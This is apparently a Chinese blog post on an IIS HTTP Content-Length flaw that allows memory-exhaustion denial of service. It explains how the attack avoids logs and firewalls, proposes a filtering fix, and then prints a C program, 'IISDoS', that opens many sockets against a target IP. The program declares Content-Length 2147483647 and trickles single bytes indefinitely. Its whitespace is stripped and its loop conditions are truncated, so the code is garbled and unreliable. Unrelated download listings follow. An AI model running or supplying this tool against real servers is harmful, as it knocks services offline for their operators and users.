`
soardragon
  • 浏览: 311696 次
  • 性别: Icon_minigender_1
  • 来自: 郑州
社区版块
存档分类
最新评论

HTTP协议Content Lenth限制漏洞导致拒绝服务攻击

阅读更多

漏洞描述:
在HTTP协议中,当使用POST方法时,可以设置ContentLenth来定义需要传送的数据长度,但是HTTP协议中并没有对ContentLenth的大小进行限制,这使得拒绝服务-内存耗尽攻击成为可能。
在IIS中,用户POST数据时,系统先将用户上传的数据存放在内存中,当用户完成数据传送(数据的长度达到ContentLenth时),IIS再将这块内存交给特定的

文件或CGI处理;如果用户POST非常大的数据(通过多次数据发送)例如ContentLenth:999999999,在传送完成前,内存不会释放,攻击者可以利用这个缺陷,连续向WEB服务器发送垃圾数据直至WEB服务器内存耗尽。在Web服务器内存不足的时候,我们可以明显的看到系统速度下降、硬盘读写增多(缓存)等现象的出现。

值得注意的是,这种攻击方法基本不会留下痕迹:
首先,由於数据传送不会完成(只要ContentLenth足够大,比如Content-Length:2147483647),所以IIS日无法记录(IIS日是在操作完成後才记录的)

其次,由於进行的是正常的POST操作,而且数据是缓慢送入WEB服务器的,因此防火墙很难发现这样的操作。(除非在防火墙上
对ContentLenth进行监测)

第三,这种攻击对於攻击者的主机来说几乎没有任何负荷,既不会消耗CPU更不会占用内存,最多是占用了部分带宽。

解决方法:
编写相应的Filter,对於过大的ContentLenth进行过滤。

漏洞测试:
以下的程式可以测试你的服务器是否有ContentLenth漏洞:

//IISDoS
//ByShotgun
//shotgun@xici.net

voidIISDos()
{
intnet[2048],Counter=0,K=0,i,j;
structsockaddr_insa;
charsend_data[1024]="POST/default.aspHTTP/1.1\nHost:xici.net\nContent-Type:text/html\nContent-Length:

2147483647\n\r";
char*send_char;
WSADATAWSAData;
strncpy((char*)&sa,"",sizeofsa);
sa.sin_family=AF_INET;
sa.sin_port=htons(80);
sa.sin_addr.s_addr=inet_addr(Attack_IP);
send_char=(char*)malloc(sizeof(char));
for(i=0;i{
if((net[i]=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET)
{
printf("Allocatingscoket%dfalid.\ErrorCode:n",i);
exit(0);
}
if((connect(net[i],(structsockaddr*)&sa,sizeofsa))!=0)
{
printf("Connect%dfailed.ErrorCode:%d\n",i,GetLastError());
for(i=0;iWSACleanup();
exit(0);
}
if(send(net[i],send_data,sizeof(send_data),0)==SOCKET_ERROR)
{
printf("Sending%ddatatotheserverfailed1.ErrorCode:%d\n",i,GetLastError());
exit(0);
}
for(j=0;jif(send(net[i],"A",1,0)==SOCKET_ERROR)
{
printf("Sending%dKeepalivedatafailed.ErrorCode:%d\n",i,GetLastError());
exit(0);
}
Sleep(200);
}
while(1)
{
for(i=0;iif(send(net[i],"A",1,0)==SOCKET_ERROR)
{
printf("Sending%ddatafailed.ErrorCode:%d\n",i,GetLastError());
closesocket(net[i]);
WSACleanup();
exit(0);
}
else
{
Counter++;
if(Counter==1024)
{
Counter=0;
K++;
printf("%dKb",K);
}
Sleep(DelayTime);
}
}
for(i=0;iclosesocket(net[i]);
WSACleanup();
}

 

分享到:
评论

相关推荐

    last_word_lenth.zip_Last Word

    华为oj训练场初级题目,输出字符串最后一个单词长度

    max_pulic_substring_lenth.zip_华为OJ

    华为oj训练场题目,判断两个字符串的最大公共子串的长度

    VC++训练素材(求两点间的距离习题LENTH)

    这是VC++初学者超好用的练习材料,这是你瞬间掌握对C++基础知识的理解,运用。比如构造函数,拷贝构造函数,析构函数和泪的继承等的瞬间掌握。

    算法分析与设计KMP算法字符串改进

    cout模式串长度:lenth(t)="<<lenth; for(int s1=lenth;s1>0;s1--) { t[s1]=t[s1-1]; } t[0]=lenth; t[lenth+1]='\0'; //cout; lenth=strlen(s); cout待匹配字符串长度:lenth(s)="<<lenth; for...

    宏晶STC15系列单片机串口驱动程序

    #define COM_TX1_Lenth 128 #define COM_RX1_Lenth 128 #define COM_TX2_Lenth 128 #define COM_RX2_Lenth 128 #define USART1 1 #define USART2 2 #define UART_ShiftRight 0 //同步移位输出 #define UART_...

    C冒泡排序发

    int lenth=sizeof(table)/sizeof(table[0]); for(i=0;i<lenth;i++) { if(table[i][i+1]){ table[i]=temp; table[i]=table[i+1]; table[i+1]=temp; } } for(j=0;j<lenth;j++) { ...

    jdk-8u161-windows-x64

    我分析的目标分类随时间的变化各参数的系数会产生变化,比如,用softmax对...print ("lenth: d/d cost: %.9f train_acc: %.3f test_acc: %.3f" % (lenth, training_epochs, avg_cost, train_acc, test_acc))#打印方法

    C++自编String类代码

    char& operator[](int lenth); char operator[](int lenth)const; String& operator=(const String &rs); String operator+(const String &); void operator+=(const String &); friend ostream& operator...

    asp最简单最实用的计数器

     option explicit dim fs,filename,txt,content,total,counter_lenth counter_lenth=1 ‘设置显示数据的最小长度,如果小于实际长度则以实际长度为准 set fs=Server.CreateObject(“Scrip

    新拼音码转化 可以把f_wanggetpym.srf 直接导入

    函数名: f_wanggetpym(as_text,ai_lenth) 功能: 获得一段纯汉字的拼音码,原理是利用操作系统 对汉字按照拼音首位进行排序的规则  参数: as_text string型 输入的汉字 ai_lenth integer型 截取汉字的个数 ...

    单片机控制RS485总线程序

    RS485总线C程序,单片机控制,主机带分机。#include #define uchar unsigned char #define byte unsigned char ...tran_serial_data(lenth,combuff); EA=1; } void main(void) {init_serialcomm(); while(1); }

    python 利用已有Ner模型进行数据清洗合并代码

    我就废话不多说了,直接上代码吧!... textArr = re.findall('.{' + str(lenth) + '}', text) textArr.append(text[(len(textArr) * lenth):]) return textArr def clean_data(source_file, target_file,

    VC 统计字符串中英文字符个数.rar

     int Lenth = m_strTxt.GetLength();  int nELenth = 0;//英文字符数  int nCLenth = 0;//中文字符数  int nTotalLenth = 0;//总共字符数  for(int i=0;i {   char c = m_strTxt.GetAt(i);   //是中文字符 ...

    Python中实现的RC4算法

    闲暇之时,用Python实现了一下RC4算法 编码 UTF-8 class 方式 #/usr/bin/python ... self.ckey_lenth = ckey_lenth self.public_key = public_key or 'none_public_key' key = hashlib.md5(self.public_key).

    python 文本单词提取和词频统计的实例

    separate_words(cls, text, min_lenth=3) 文本提取 get_words_frequency(cls, words_list) 获取词频 源码: class DocProcess(object): @classmethod def strip_html(cls, text): """ Delete ...

    学习单片机

    typedef struct _saomiaoqiang... uint8 lenth; uint8 temp; uint8 parry; uint8 stopflag; uint8 indata;// 对外使用 uint8 sn[5];//一串合法的数据 uint16 nkey;//合法的条码值 ,对外使用 }T_saomiaoqiang;

    js删除数组中的元素delete和splice的区别详解

    下面小编就为大家分享一篇js删除数组中的元素delete和splice的区别详解,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧

    进制转换(C++)

    int lenth=strlen(p); for (int i = 0; i < lenth; i++) { if(f1!=16) { if (p[i]-'0' >= f1) return 0; j=p[i]-'0'; sum1=sum1*f1+j; } else { if(p[i]>='A') j=p[i]-'A'+10; else j=p[i]-'0'; ...

    计算字符串宽度

    计算字符串宽度,输入一个字符串,计算该字符串宽度,不是字符数量,也不是lenth,是字符串的宽度,单位是像素

    python/golang实现循环链表的示例代码

    循环链表就是将单链表的末尾指向其头部,形成一个环。循环链表的增删操作和单链表的增删操作 区别不大。只是增加时,需要考虑空链表增加第一个节点的特殊情况;删除时需考虑删除节点是头/尾节点,和... if c.lenth == 0

Global site tag (gtag.js) - Google Analytics